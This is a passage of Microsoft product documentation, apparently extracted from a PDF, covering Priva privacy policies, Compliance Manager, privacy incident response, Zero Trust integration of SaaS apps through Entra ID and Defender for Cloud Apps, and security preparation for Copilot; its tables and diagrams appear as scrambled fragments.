External so that you're tracking data you might consider more at risk while
keeping the total amount of data you'll have to monitor at more manageable
levels.
At the Specify alerts and thresholds step, we recommend turning alerts On and
selecting the frequency option of Alert when one of the conditions below is met.
Turning on alerts will help admins gauge whether the severity and frequency of
alerts meet their needs. Note that policies don't work retrospectively, so if you
decide to keep alerts off at first and later turn them on, you wouldn't see any alerts
for matches that occurred prior to turning on alerts.
At the Decide policy mode state, we recommend keeping the policy in test mode
and monitoring its performance for at least five days. This allows you to see what
kind of matches the policy conditions are picking up, how the alerts will fire.
Gradually setting up more policies and fine-tuning

performance
After setting up and running your first policy, you may want to do the same with the
other two policy types. This can be your second phase, where you gradually ramp up on
using features as you go and optimize their settings. For example, you may choose not
to send user email notifications at first while you see how many matches your policy
detects. Then eventually you may decide to turn email notifications on while the policies
are still in test mode (at the Define outcomes stage of the policy settings). If users get
too many emails, go back into the policy's Outcomes settings to adjust the frequency of
the notifications. All of this fine-tuning can help you gauge the desired impact on your
users before you deploy the policy more broadly throughout your organization.
Recommended settings for the other two policy types

Below are specific recommendations for key settings when creating your first data
transfer and data overexposure policies.
Data transfer:
For Data to monitor, select specific SITs.
For Choose users and groups covered by this policy, select an inner ring of users.
For Choose conditions for the policy, choose the condition that matters the most.
For Define outcomes when a policy match is detected, turn on email notifications.
For Specify alerts and thresholds, turn alerts on for each time an activity occurs.
For Decide policy mode, turn the policy mode on (which turns off test mode).
Data minimization:
For Data to monitor, choose specific SITs or classification groups.

For Choose users and groups covered by this policy, select an inner ring of users.
For Choose conditions for the policy, choose 30, 60, 90, or 120 days.
For Decide policy mode, keep the policy in test mode.
Maximizing policy performance to minimize privacy risks

Allow your policies to run for at least two to four weeks. During this time, you should
review and document the following results:
The matches generated by each policy type and the instances of false positives and
false negatives
The impact and the feedback from end users and admins
Based on your findings, you can now tune the policy performance by doing the
following:
Including or excluding out-of-the-box and custom SITs or classification groups

Creating versions of the policies with conditions and user groups to make
targeting more efficient
Tweaking the thresholds of the policy, including frequency of emails to users,
number of days to monitor, etc.
Think of this as your third phase. You can create more versions of each policy type and
deploy them to the whole organization in two rounds: a first round that covers 50% of
your users, and a second round that covers 100% of your users.
This is also the stage where you accumulate learnings based on user behavior as noted
in Priva and create specific privacy training for your users, which you can include in your
policies' user email notifications.
Next step
Visit Step 3. Stay on track with privacy regulations.
Feedback

Data privacy and protection – Stay on
track with regulations
Article • 01/03/2024
and Microsoft Purview: Stay on track with privacy regulations.
Research shows that there are over 250 daily updates to global regulations*. Microsoft
Purview Compliance Manager helps you keep up with the evolving compliance and risk
landscape by providing continuous control assessments and regulatory updates. Choose
from a library of 350+ templates that correspond to national, regional, and industry-
specific requirements on the collection and use of data. Modify the templates for your
needs, or create your own custom template for assessments that meet your unique
needs. Explore the links below for detailed guidance on managing your organization's
compliance activities with Compliance Manager.
Actions to take
ﾉ Expand table
Monitor progress Make sure you've set up assessments in Compliance Build and manage
and improve your Manger to help you stay on top of new and assessments in
compliance score. evolving data privacy regulations and laws that Compliance Manager
apply to your organization.
Learn how to assess
your compliance
posture across your
multicloud
environment
Raise your
compliance score by
completing
improvement actions
Automatically test To realize the full benefits of continuous control Set your testing
improvement assessment, make sure your settings are configured source for automated
actions. to enable automatic testing of all eligible testing
improvement actions.
Set alerts for Compliance Manager can alert you to changes as Create alert policies
changes in soon as they happen so that you can stay on track
Compliance with your compliance goals. Set up alerts for
Manager. improvement action changes such as a score
increase or decrease, an implementation or test
status change, a reassignment, or the addition or
removal of evidence.
Facilitate the work Make sure that individuals who oversee compliance Grant user access to
of assessors and activities in the organization have the right roles individual
auditors. and can access evidence files and reporting. assessments
Compliance Manager allows scoped access to
individual assessment for specific users. Store evidence
You can upload evidence files to improvement Assign improvement

actions that document your implementation and actions to assessors
testing work. Assign improvement actions to users
serving as assessors so they can determine a pass or Export an assessment
fail status. report
Provide reporting on your assessments to

compliance stakeholders, auditors, and regulators.
Exported reports contain details about control
implementation status, test date, and test results.
Next step
Visit Step 4. Respond to data privacy incidents and subject requests.
Reference
*Cost of Compliance 2021, Thomson Reuters, 2021
Feedback

Data privacy and protection – Respond
to incidents and subject requests
Article • 01/03/2024
and Microsoft Purview: Respond to data privacy incidents and subject requests.
Features in both Purview and Priva can help you monitor, investigate, and respond to
data privacy incidents in your organization as you operationalize related capabilities.
Having processes, procedures, and other documentation for each incident may also be
important to demonstrate compliance to regulatory bodies. These features include:
Auditing and alert policies

Subject rights requests, sometimes referred to as data subject requests
More investigative tools and reporting
Actions to take
ﾉ Expand table
Set up alerts for You can set up alerts to help you respond quickly to an Priva policy
potential array of privacy incidents, whether they come through alerts
incidents. Priva, auditing, or other alert policies.
Unified auditing
Mailbox auditing
Microsoft
Purview Audit
(Premium)
Alert policies
Manage subject Several privacy regulations around the world grant Learn more
rights requests at individuals—or data subjects—the right to make about Subject
scale. requests to review or manage the personal data that Rights Requests
companies have collected about them. These subject
rights requests are also referred to as data subject
requests (DSRs), data subject access requests (DSARs), or
consumer rights requests.
For companies that store large amounts of information,

finding the relevant data can be a formidable task.
Fulfilling the requests, for most organizations, is a highly
manual and time consuming process.
Microsoft Priva Subject Rights Requests is designed to

help alleviate the complexity and length of time involved
in responding to data subject inquires. This solution
provides automation, insights, and workflows to help
organizations fulfill requests more confidently and
efficiently.
Use insider risk Microsoft Purview Insider Risk Management is a Learn more
management as compliance solution that helps you minimize internal risk about insider risk
an investigative by enabling you detect, investigate, and act on malicious management
tool. and inadvertent activities in your organization.
Insider risk policies allow you to define the types of risks

to identify and detect in your organization. You can act
on cases and escalate cases to Microsoft eDiscovery
(Premium) if needed. Risk analysts in your organization
can quickly take appropriate actions to make sure users
are compliant with your organization's compliance
standards.
Building your monitoring and response

strategy
Most data privacy regulations generally require the type of monitoring and response
listed below:
Auditing, alerting, and reporting for activities related to the storage, sharing, and
processing of personal data.
The ability to respond to subject requests and, in some cases, perform investigative
and other administrative measures to comply with such requests.
Your organization may also wish to perform monitoring and response activities for other
purposes, such as other compliance needs or for business reasons. Establishing your
monitoring and response scheme for data privacy should be done as part of overall
monitoring and response planning, implementation, and management.
Use the links above to explore how Purview capabilities can help you develop a
monitoring and response scheme, and answer questions such as:
What sort of day-to-day monitoring and investigative and reporting techniques are
available for the different data types and sources?
What mechanisms will be needed to handle subject rights requests and any
remedial actions, such as anonymization, redaction, and deletion?
Feedback

Integrate SaaS apps for Zero Trust with
Microsoft 365
Article • 04/23/2024
The widespread increase in cloud adoption is transforming how organizations achieve

business outcomes. This shift highlights the reliance on cloud-based apps resulting in
higher demand for services such as Software as a Service (SaaS), Platform as a Service
(PaaS), Infrastructure as a Service (IaaS), and cloud-based app development platforms.
SaaS apps play a key role in ensuring that applications and resources are available and
accessible from any device with an Internet connection.
While a multi-cloud environment can help reduce operational costs and improve
scalability, the large amount of sensitive data and the flexibility it affords organizations
can potentially pose a security risk. Deliberate steps must be taken to ensure that apps
hosted in the cloud and their data are protected.
To ensure that access and productivity are secure, implementation of SaaS apps need to
align with the Zero Trust security model, which is based on these guiding principles.
ﾉ Expand table
Zero Trust Definition Met by...

principle
Verify Always authenticate and authorize based on all Registering your SaaS apps
explicitly available data points. and using Microsoft Entra
Use least Limit user access with Just-In-Time and Just- Using Microsoft Purview
privileged Enough-Access (JIT/JEA), risk-based adaptive Information Protection.
access policies, and data protection.
Assume Minimize blast radius and segment access. Verify Using Microsoft Defender for
breach end-to-end encryption and use analytics to get Cloud Apps.
visibility, drive threat detection, and improve
defenses.
This documentation solution helps you apply Zero Trust principles using Microsoft 365
to help manage your digital estate of cloud apps, with a focus on SaaS apps.
The following diagram shows the relationships between your third-party cloud apps,
Microsoft Entra ID, Defender for Cloud Apps, and Microsoft Purview Information
Protection to apply these principles.
Your third-party cloud apps
Your SaaS apps Your PaaS apps
Atlassian DocuSign OneLogin Salesforce Workday
AWS GitHub Azure Zendesk Many others
Microsoft Defender for Microsoft Purview

Microsoft Entra
Cloud Apps Information Protection
§ Add SaaS and PaaS apps § Discover cloud apps § Protect your data
to Microsoft Entra ID § Approve cloud apps § Prevent data loss
§ Add these apps to the § Integrate with Microsoft
scopes of your Conditional Entra to enforce MFA
Access policies and require
§ Apply session controls to
multi-factor authentication
cloud apps
(MFA)
§ Discover sensitive 
information in cloud apps
The diagram shows:
Examples of third-party cloud apps that include SaaS apps and your custom PaaS
apps.
The role of Microsoft Entra ID to include these apps in the scope of your strong
authentication and other Conditional Access policies. For more information, see
Integrating all your apps with Microsoft Entra ID.
The role of Microsoft Defender for Cloud Apps in discovering the cloud apps that
your organization uses. You can approve apps, apply session controls, and discover
sensitive data. For newly-discovered enterprise cloud apps that support federation,
you can add them to Microsoft Entra ID to enforce strong authentication and other
policies.
The role of Microsoft Purview Information Protection to protect cloud app data
and prevent data loss in conjunction with Microsoft Defender for Cloud apps.
Implementing the layers of protection for SaaS

apps
This diagram shows the units of work for deploying Zero Trust capabilities across your
Microsoft 365 tenant, highlighting the specific steps for integrating and protecting your
SaaS apps.
SharePoint sites,
3
Microsoft 365
productivity apps:
On-premises file
shares and
govern
sensitive

sensitivity labels
Monitor device risk Create Defender for

2
Defend
365 Endpoint Apps
Deploy Intune configuration profiles to harden devices against threats
Configure Enterprise (recommended) Zero Trust identity and device access policies
Configure compliance policies

Enroll devices into management

Zero trust
1
foundation
Configure Starting point Zero Trust identity

ﾉ Expand table
Step Description
1. Add SaaS apps to Add applications to Microsoft Entra ID so that authorized users can
Microsoft Entra ID securely access it. Many types of applications can be registered with
Microsoft Entra ID.
2. Create Microsoft Ensure that policies are in place so that only authorized users and
Defender for Cloud Apps specific conditions are met before users are able to access
policies resources.
3. Deploy information Ensure that the proprietary and sensitive business data for your
protection for SaaS apps SaaS apps is protected.
For guidance on licensing, see Microsoft 365 guidance for security & compliance.
For more information about applying Zero Trust protections across Microsoft 365, see
the Microsoft 365 Zero Trust deployment plan.
Next steps
Use these steps to apply Zero Trust principles for your SaaS apps with Microsoft 365:
1. Add SaaS apps to Microsoft Entra ID.

2. Create Microsoft Defender for Cloud Apps policies.
3. Deploy information protection for SaaS apps.
ﾉ Expand table
Training Specify requirements for securing SaaS, PaaS, and IaaS services
Learn how to analyze security requirements for different cloud offerings (SaaS,
PaaS, and IaaS), IoT workloads, web workloads and containers.
Start >
Feedback
Step 1: Add SaaS apps to Microsoft
Entra ID and to the scope of policies
Article • 04/23/2024
Microsoft Entra ID is Microsoft's cloud-based identity and access management service.

Microsoft Entra ID provides secure authentication and authorization solutions so that
customers, partners, and employees can access the applications they need. Microsoft
Entra ID, Conditional Access, multifactor authentication, single-sign on (SSO), and
automatic user provisioning make identity and access management easy and secure.
Integrate your SaaS apps into Microsoft Entra ID so that you can monitor and configure
access for them. Microsoft Entra ID has an application gallery, which is a collection of
SaaS apps that have been preintegrated with Microsoft Entra ID. You can also add your
own custom apps. For more information, see Five steps for integrating all your apps with
Microsoft Entra ID.
After adding apps to Microsoft Entra ID, you can configure how apps are accessed and
subject to specific conditions by including them in the scope of your Zero Trust identity
and device access policies.
If you already have Microsoft Defender for Cloud Apps deployed, you can discover SaaS
apps that are being used in your organization. For more information, see Step 2 of this
solution and Discover and manage shadow IT in your network.
Adding apps in Microsoft Entra ID

Adding apps in Microsoft Entra ID helps you leverage the services it provides including:
Application authentication and authorization.

User authentication and authorization.
SSO using federation or passwords.
User provisioning and synchronization.
Role-based access control that uses Microsoft Entra to define application roles and
perform role-based authorization checks in an application.
OAuth authorization services, which are used by Microsoft 365 and other Microsoft
applications to authorize access to APIs and resources.
Application publishing and proxy to publish an application from your private
network to the internet.
Directory schema extension attributes to store additional data in Microsoft Entra
ID.
There are several ways you can add apps in Microsoft Entra ID. The easiest way to start
managing apps is to use the application gallery. You also have the option of adding
custom apps. This section guides you through both ways.
Add apps from the application gallery

Microsoft Entra ID has an application gallery that contains a collection of SaaS apps that
have been preintegrated with Microsoft Entra ID. Just sign into the Microsoft Entra
admin center and choose the applications from specific cloud platforms, featured
applications, or search for the application that you want to use.
For more information, see Add an enterprise application and Overview of the Microsoft
Entra application gallery.
Adding custom apps in Microsoft Entra app gallery

You can develop your own custom cloud apps and register them in Microsoft Entra ID.
Registering them with Microsoft Entra ID lets you leverage the security features
provided by your Microsoft 365 tenant. In the Microsoft Entra admin center, you can
register your application in App Registrations, or you can register it using the Create
your own application link when adding a new application in Enterprise applications.
For more information, see What is application management in Microsoft Entra ID? and
Request to publish your application in the Microsoft Entra application gallery.
Add apps to the scope of your Zero Trust

identity and device access policies
Conditional Access policies allow you to assign controls to specific applications, actions,
or authentication context. You can define conditions such as what device type can
access a resource, user risk levels, trusted locations, and other conditions such as strong
authentication. For example, multifactor authentication (MFA) helps safeguard access to
data and applications with additional security by requiring a second form of verification.
After adding apps in Microsoft Entra ID, you'll need to add them to the scope of your
Zero Trust identity and device access policies.
Updating common policies

The following diagram shows the Zero Trust identity and device access policies for SaaS
and PaaS apps, highlighting the set of common Conditional Access policies whose
scopes must be modified to include your SaaS apps.
Zero Trust identity and device access policies for SaaS and PaaS apps


PCs medium or high authentication
This policy forces users
Starting point to change their
Clients that do not password when signing
Require approved Apply Level 2 App
use modern in if high risk activity is
apps Protection Policies
authentication can detected for their
Phones and This policy enforces bypass Conditional (APP) data protection
account.
& tablets.

Enterprise
(Recommended for
tablets.
Require MFA always

Specialized
users)

identity and device access policies Phones and tablets include devices running the iOS, iPadOS, or Android platforms Microsoft Entra ID P2 licenses
For each policy to update, make sure that your apps and their dependent services are
included in the assignment of cloud apps.
This table lists the policies that need to be reviewed with links to each policy in the set
of common identity and device access policies.
ﾉ Expand table
Protection Policies Description

level
Starting Require MFA when sign-in Ensure that your cloud apps and dependent services
point risk is medium or high are included in the list of apps.
Block clients that don't Include your apps and dependent services in the
support modern assignment of cloud apps.
authentication
High risk users must Forces app users to change their password when
change password signing in if high-risk activity is detected for their
account.
Apply APP data protection Ensure that your cloud apps and dependent services
policies are included in the list of apps. Update the policy
for each platform (iOS, Android, Windows).
Enterprise Require MFA when sign-in Ensure that your cloud apps and dependent services
risk is low, medium, or are included in the list of apps.
Protection Policies Description
level
high
Require compliant PCs Ensure that your cloud apps and dependent services
and mobile devices are included in the list of apps.
Specialized Always require MFA Regardless of user identity, your organization uses
security MFA.
For more information, see Recommended Microsoft Defender for Cloud Apps policies
for SaaS apps.
Next step
Continue with Step 2 to create Defender for Cloud Apps policies.
Feedback
Step 2: Create Defender for Cloud Apps
policies
Article • 04/23/2024
SaaS apps play a key role in ensuring that your applications and resources are available
and accessible from any device with an Internet connection. However, some apps can
pose a security risk with the potential to cause significant damage to your organization
if not discovered and managed. You must have visibility into the apps that are being
used in your organization so that you can protect your sensitive data and resources.
Microsoft Defender for Cloud Apps keeps you in control through comprehensive
visibility, auditing, and granular controls over your sensitive data. Defender for Cloud
Apps has tools that help uncover shadow IT and assess risk while enabling you to
enforce policies and investigate app activities. It helps you control access in real time
and stop threats so your organization can more safely move to the cloud.
This article provides guidance on how to:
Discover cloud apps

Sanction cloud apps
Configure Conditional Access App Control
Use app connectors
Apply session controls
If you haven't already set up Defender for Cloud Apps, see Evaluate Microsoft Defender
for Cloud Apps.
Discover cloud apps

Without visibility into the apps being used in your organization, you will not be able to
properly manage and control how users use the apps and how the apps access sensitive
data and resources.
Defender for Cloud Apps has a capability called Cloud Discovery that analyzes your
traffic logs against the Microsoft Defender for Cloud Apps catalog of over 31,000 cloud
apps. The apps are ranked and scored based on more than 90 risk factors and provide
you with ongoing visibility into cloud app use, Shadow IT, and the risk posed by
unknown and unmanaged apps.
The following diagram shows the components of cloud app discovery and the two
methods used to monitor network traffic and discover cloud apps that are being used in
your organization
Microsoft Defender XDR Third-party cloud apps
Shared signals
Microsoft Defender for Microsoft Defender for

Endpoint Cloud Apps
Cloud app discovery
2 2
1
Cloud app
traffic
Firewalls Proxies

On-premises integration
In this diagram:
Method 1: Cloud App Discovery integrates with Microsoft Defender for Endpoint,
which reports cloud apps and services being accessed from IT-managed Windows
10 and Windows 11 devices.
Method 2: For coverage on all devices connected to a network, a Defender for
Cloud Apps log collector installed on firewalls and proxies collect and send data
from endpoints to Defender for Cloud Apps for analysis.
Use the following guidance to leverage the built-in capabilities in Defender for Cloud
Apps to discover apps in your organization:
Set up Cloud Discovery

Discover and identify Shadow IT
Sanction your apps

After you've reviewed the list of discovered apps in your environment, you can secure
your environment by approving safe apps (Sanctioned) or prohibiting unwanted apps
(Unsanctioned).
For more information, see Sanctioning/unsanctioning an app.
Configure Conditional Access App Control to

protect apps
Conditional Access policies allow you to assign controls and requirements to specific
applications, actions, or authentication conditions. You have the ability to define which
users or user groups can access your cloud apps, which cloud apps they can access, and
from which locations and networks a user must originate their access. See Step 1 of this
solution for additional information.
In conjunction with Conditional Access policies, you can further increase the security of
your cloud apps by applying access and session controls using conditional access app
control. With the conditional access app control capability in Defender for Cloud Apps,
user app access and sessions are monitored and controlled in real time based on access
and session policies. Access and session policies configured with the Defender for Cloud
Apps portal allow you to further refine filters and set actions that users can perform.
Microsoft Defender for Cloud Apps natively integrates with Microsoft Entra. When you
configure a policy in Microsoft Entra to use conditional access app control, cloud app
traffic is routed through Defender for Cloud Apps as a proxy, which allows Defender for
Cloud Apps to monitor this traffic and to apply session controls.
The following diagram shows how cloud app traffic gets routed through Microsoft Entra
and Defender for Cloud Apps.
Third-party cloud apps integrated

into your Microsoft Entra ID tenant
SaaS apps Your PaaS apps
Shared signals

Cloud Apps
Others
Proxy access
session controls
Conditional
access app
Microsoft control
Entra
Cloud app traffic

In this diagram:
Microsoft Entra has a conditional access app control policy for the traffic the
specified and integrated SaaS apps. Microsoft Entra ID then directs (proxies) the
session traffic through Defender for Cloud Apps.
Defender for Cloud Apps monitors this traffic and applies session control policies.
Conditional Access dictates the requirements that must be fulfilled before a user can
access an app. Conditional access app control dictates what apps a user can access and
the set of actions that a user can take during a session after they've been granted
access.
Protect apps with Microsoft Defender for Cloud Apps Conditional Access App
Control
Integrating Microsoft Entra ID with Conditional Access App Control
Use app connectors

App connectors use the APIs of app providers to enable greater visibility and control by
Defender for Cloud Apps over the apps being used in your organization. Depending on
the app to which you're connecting, app connections enable the following:
Account information - Visibility into users, accounts, profile information, status

(suspended, active, disabled) groups, and privileges.
Audit trail - Visibility into user activities, admin activities, and sign-in activities.
Account governance - Ability to suspend users, revoke passwords, and other
abilities.
App permissions - Visibility into issued tokens and their permissions.
App permission governance - Ability to remove tokens.
Data scan - Scanning of unstructured data using two processes -periodically (every
12 hours) and in real-time (triggered each time a change is detected).
Data governance - Ability to quarantine files, including files in trash, and to
overwrite files.
For more information, see Connect apps.
Defender for Cloud Apps provides end-to-end protection for connected apps using
cloud-to-cloud integration, API connectors, and real-time access and session controls
that leverage Conditional app access controls.
Apply session controls

Session controls allow you to apply parameters to how cloud apps are used by your
organization. For example, if your organization is using Salesforce, you can configure a
session policy that allows only enrolled and managed devices to access your
organization's Salesforce data. A simpler example could be configuring a policy to
monitor traffic from unmanaged devices so you can analyze the risk of this traffic before
applying stricter policies.
Defender for Cloud Apps documentation includes the following series of tutorials to
help you discover risk and protect your environment:
Detect suspicious user activity

Investigate risky users
Investigate risky OAuth apps
Discover and protect sensitive information
Protect any app in your organization in real time
Block downloads of sensitive information
Protect your files with admin quarantine
Require step-up authentication upon risky action
Next step
Continue with Step 3 to deploy information protection for SaaS apps.
Feedback
Step 3: Deploy information protection
for SaaS apps
Article • 04/23/2024
While protecting access to apps and session activities are important, the data that SaaS
apps contain may be one of the most critical resources to protect. Deploying
information protection for SaaS apps is a key step in preventing inadvertent or malicious
exposure of sensitive information.
Microsoft Purview Information Protection is natively integrated in Microsoft 365 apps

and services such as SharePoint, OneDrive, Teams, and Exchange. For other SaaS apps,
you might want to integrate them with Microsoft Purview to ensure your sensitive data
is protected wherever it is. There are various ways to integrate information protection
with other apps you use. You can use Microsoft Defender for Cloud Apps to integrate
labeling with apps or have an app developer integrate directly using an SDK. For more
information, see About Microsoft Information Protection SDK.
This step builds on the Deploy information protection with Microsoft Purview solution
guidance and guides you on how to use Defender for Cloud Apps to extend information
protection to data in SaaS apps. You may want to review the guidance to gain a better
understanding of the overall workflow.
The scope of this article focuses on protecting Microsoft Office and PDF files and
document repositories within SaaS applications.
The key concepts surrounding information protection involves knowing your data,
protecting your data, and preventing data loss. The following diagram shows how to
perform these key functions with the Purview compliance portal and the Defender for
Cloud Apps portal.
Information protection for SaaS and PaaS apps
Microsoft
Purview
compliance
portal Identify sensitive Define sensitivity Define DLP
information labels policies
Defender for
Cloud Apps
portal Discover sensitive data Extend labels out to Extend DLP policies to
in SaaS and PaaS apps SaaS and PaaS apps Prevent data loss SaaS and PaaS apps

Know your data Protect your data Prevent data loss
In this diagram:
To protect data in SaaS apps, you must first determine the information in your
organization that is sensitive. After doing that, check to see if any of the sensitive
information types (SITs) map to the determined sensitive information. If none of
the SITs meet your needs, you can modify them or create custom SITs with the
Microsoft Purview compliance portal.
Using the defined SITs, you can discover items that contain sensitive data in SaaS
apps.
 Tip
To learn about the full list of supported apps for Microsoft Purview
Information Protection, see Information Protection
After discovering items that contain sensitive data, you can extend labels to SaaS
apps and then apply them.
To prevent data loss, you can define and then extend data loss prevention (DLP)
policies. With a DLP policy, you can identify, monitor, and automatically protect
sensitive items across services. An example of a protective action of DLP policies is
showing a pop-up policy tip to a user when they try to share a sensitive item
inappropriately. Another example is blocking the sharing of sensitive items.
Use the following steps to apply information protection capabilities for your SaaS apps.
Discover sensitive information in SaaS apps

To discover sensitive information contained in SaaS apps, you'll need to:
Enable the Microsoft Purview Information Protection integration with Defender for
Cloud Apps.
Create policies to identify sensitive information in files.
Microsoft Purview Information Protection is a framework that includes Defender for

Cloud Apps. Integrating Defender for Cloud Apps in Microsoft Purview will help you
better protect sensitive information in your organization. For more information, see How
to integrate Microsoft Purview Information Protection with Defender for Cloud Apps.
Once you know the kinds of information you want to protect, you create policies to
detect them. You can create policies for:
Files: File policies scan the content of files stored in your connected cloud apps via
API, for supported apps.
Sessions: Session policies scan and protect files in real time upon access to prevent
data exfiltration, protect files on download, and prevent the upload of unlabeled
files.
For more information, see Microsoft Data Classification Services integration.
Apply sensitivity labels to protect data

After discovering and sorting sensitive information, you can apply sensitivity labels.
When a sensitivity label is applied to a document, any configured protection settings for
that label are enforced on the content. For example, a file that is labeled "Confidential"
may be encrypted and have its access limited. Access limitations can include individual
user accounts or groups.
Defender for Cloud Apps is natively integrated with Microsoft Purview Information
Protection and the same sensitivity types and labels are available throughout both
services. When you want to define sensitive information, use the Microsoft Purview
compliance portal to create them and they will be available in Defender for Cloud Apps.
Defender for Cloud Apps lets you automatically apply sensitivity labels from Microsoft
Purview Information Protection. These labels are applied to files as a file policy
governance action and, depending on the label configuration, can apply encryption for
another layer of protection.
For more information, see Apply Microsoft Purview Information Protection labels
automatically.
Extend DLP policies to SaaS apps

Depending on the SaaS apps that you have in your environment, you have various
options to choose from to deploy a DLP solution. Use the following table to guide you
in your decision-making process.
ﾉ Expand table
Scenario Tool
Your environment has the following products: Use Microsoft Purview.
- Exchange Online email For more information, see Learn about DLP.
- SharePoint Online sites
- OneDrive accounts
- Teams chat and channel messages
Scenario Tool
- Microsoft Defender for Cloud Apps

- Windows 10, Windows 11, and macOS (Catalina
10.15 and higher) devices
- On-premises repositories
- Power BI sites
Your organization uses other apps that aren't Use Defender for Cloud Apps.
covered in Microsoft Purview, but can be connected
to Microsoft Defender for Cloud Apps via API such To use a DLP policy that's scoped to a
as: specific non-Microsoft cloud app, the app
must be connected to Defender for Cloud
- Atlassian Apps. For more information, see Connect
- Azure apps.
- AWS
- Box
- DocuSign
- Egnyte
- GitHub
- Google Workspace
- GCP
- NetDocuments
- Office 365
- Okta
- OneLogin
- Salesforce
- ServiceNow
- Slack
- Smartsheet
- Webex
- Workday
- Zendesk
The apps that your organization uses aren't yet Use Defender for Cloud Apps.
supported in Defender for Cloud Apps via API, but
can be added using app connectors and you can For more information, see Connect apps
use session policies to apply DLP policies in real and Use data loss prevention policies for
time. non-Microsoft cloud apps.
For guidance on licensing, see Microsoft 365 guidance for security & compliance.
Monitor your data

Now that your policies are in place, you'll want to check the Microsoft Defender portal
to monitor the effect of your policies and remediate incidents. Microsoft Defender XDR
gives you visibility into DLP alerts and incidents from Microsoft Purview and Defender
for Cloud apps in a single pane of glass.
Your security analysts can prioritize alerts effectively, gain visibility into the full scope of
a breach, and take response actions to remediate threats.
For more information, see Microsoft Defender portal.
Feedback
Use Zero Trust security to prepare for AI
companions, including Microsoft
Copilots
Article • 04/23/2024
Security, especially data protection, is a top concern when introducing AI tools into an
organization. Security recommendations for AI are anchored in Zero Trust. As a leader in
security, Microsoft provides a practical roadmap and clear guidance for Zero Trust. By
implementing recommended protections as you introduce AI tools and companions,
you are building a foundation of Zero Trust security.
This series of articles helps you apply the principles of Zero Trust to Microsoft’s Copilots
and similar AI companions. Zero Trust is a security strategy. It isn't a product or a service,
but an approach in designing and implementing the following set of security principles:
Verify explicitly
Use least privileged access
Assume breach
Implementing the Zero Trust "never trust, always verify" mindset requires changes to
cloud infrastructure, deployment strategy, and implementation.
Layer in protections for AI companions

Microsoft helps you prepare for AI tools and companions and build a Zero Trust
foundation at the same time. Take a staged approach starting with protections for web-
grounded prompts and maturing to protections for Microsoft 365 graph-grounded
prompts. Protections for prompts grounded with data provided by your security tools
(Copilot for Security) focus on tuning up least privilege practices and honing threat
protection.
Copilot for Bing, Edge, and

Copilot for Microsoft 365 Copilot for Security
Windows
Web-grounded prompts
Prompts grounded with security tools
Microsoft 365 graph-grounded prompts

Web-grounded prompts are issued by Copilot for Bing, Edge, and Windows.
Copilot for Microsoft 365 can also be configured to allow web-grounded prompts.
Microsoft 365-grounded prompts are issued by Copilot for Microsoft 365. If
integration with Copilot for Bing, Edge, and Windows is configured, these copilot
experiences can include graph-grounded data (for example, when the web/work
toggle is set to work).
Prompts grounded with your security tools are issued by Microsoft Copilot for
Security.
Get started with Zero Trust by preparing your

environment for AI companions
You can build a Zero Trust foundation by preparing your environment for AI
companions.
User Privileged Threat Security

Build a Prepare for accounts
Endpoints App data Apps
access protection operations
Network
Zero Trust
foundation by
Web-grounded prompts
preparing
your Microsoft 365 graph-
environment grounded prompts
for Microsoft
Copilots Prompts grounded with
security tools 
The following table summarizes the illustration and links to articles for implementing the
recommended protections.
ﾉ Expand table
Prepare for Protections See these Zero

Trust articles
Web-grounded User accounts, devices, and some app data. Microsoft Copilot
prompts
Microsoft 365 Includes the previous protections plus more robust Microsoft Copilot
graph-grounded protection for app data and cloud apps. It also for Microsoft 365
promtps includes adding in threat protection.
Prompts grounded Focuses on tuning up least privilege access, a key Microsoft Copilot
with security tools principle of Zero Trust. for Security
For more information on implementing Zero Trust, see the Zero Trust Guidance Center.
References
Microsoft Copilot
Microsoft Copilot for Microsoft 365
Manage Microsoft Copilot in Windows
Data, Privacy, and Security for Microsoft 365 Copilot
Feedback
Apply principles of Zero Trust to
Microsoft Copilot
Article • 04/12/2024
Summary: To apply Zero Trust principles to Microsoft Copilot, you need to:
1. Implement security protections for web-grounded prompts to the Internet.

2. Add security protections for Microsoft Edge browser summarization.
3. Complete recommended security protections for Copilot for Microsoft 365.
4. Maintain security protections when using Microsoft Copilot and Copilot for
Microsoft 365 together.
Introduction
Microsoft Copilot or Copilot is an AI companion in copilot.microsoft.com, Windows,
Edge, Bing, and the Copilot mobile app. This article helps you implement security
protections to keep your organization and data safe while using Copilot. By
implementing these protections, you are building a foundation of Zero Trust.
Zero Trust security recommendations for Copilot focus on protection for user accounts,
user devices, and the data that is in scope for the way you configure Copilot.
You can introduce Copilot in stages, from allowing Web-grounded prompts to the
Internet to allowing both Web-grounded and Microsoft 365 Graph-grounded prompts
to both the Internet and to your organization data. This article helps you understand the
scope of each configuration and, consequently, the recommendations for preparing
your environment with appropriate security protections.
How does Zero Trust help with AI?

Security, especially data protection, is often a top concern when introducing AI tools
into an organization. Zero Trust is a security strategy that verifies every user, device, and
resource request to ensure that each of these is allowed. The term ‘zero trust’ refers to
the strategy of treating each connection and resource request as though it originated
from an uncontrolled network and a bad actor. Regardless of where the request
originates or what resource it accesses, Zero Trust teaches us to “never trust, always
verify.”
As a leader in security, Microsoft provides a practical roadmap and clear guidance for
implementing Zero Trust. Microsoft’s set of Copilots are built on top of existing
platforms, which inherit the protections applied to those platforms. For the details of
applying Zero Trust to Microsoft’s platforms, see the Zero Trust Guidance Center. By
implementing these protections, you are building a foundation of Zero Trust security.
This article draws from that guidance to prescribe the Zero Trust protections that relate
to Copilot.
What’s included in this article

This article walks through the security recommendations that apply in four stages. This
provides a path for you to introduce Copilot into your environment while you apply
security protections for users, devices, and the data accessed by Copilot.
ﾉ Expand table
Stage Configuration Components to secure
1 Web-grounded prompts to the Internet Basic security hygiene for users and
devices using identity and access
policies.
2 Web-grounded prompts to the Internet with Your organization data on local,

Edge browser page summarization enabled intranet, and cloud locations that
Copilot in Edge can summarize.
3 Web-grounded prompts to the Internet and All components affected by Copilot

access to Copilot for Microsoft 365 for Microsoft 365.
4 Web-grounded prompts to the Internet and All the components listed above.
access to Copilot for Microsoft 365 with Edge
browser page summarization enabled
Stage 1. Start with security recommendations

for web-grounded prompts to the Internet
The simplest configuration of Copilot provides AI assistance with web-grounded
prompts.
Web-grounded
prompts
Microsoft Copilot
copilot.microsoft.com Windows Bing Copilot mobile app Edge

Internet
Users can interact with Copilot through copilot.microsoft.com, Windows, Bing, the
Edge browser, and the Copilot mobile app.
Prompts are Web-grounded. Copilot only uses publicly available data to respond
to prompts.
With this configuration, your organization data isn’t included in the scope of data that
Copilot references.
Use this stage to implement identity and access policies for users and devices to prevent
bad actors from using Copilot. At a minimum, you must configure Conditional Access
policies that require:
Multifactor authentication for all users

Trusted and healthy devices
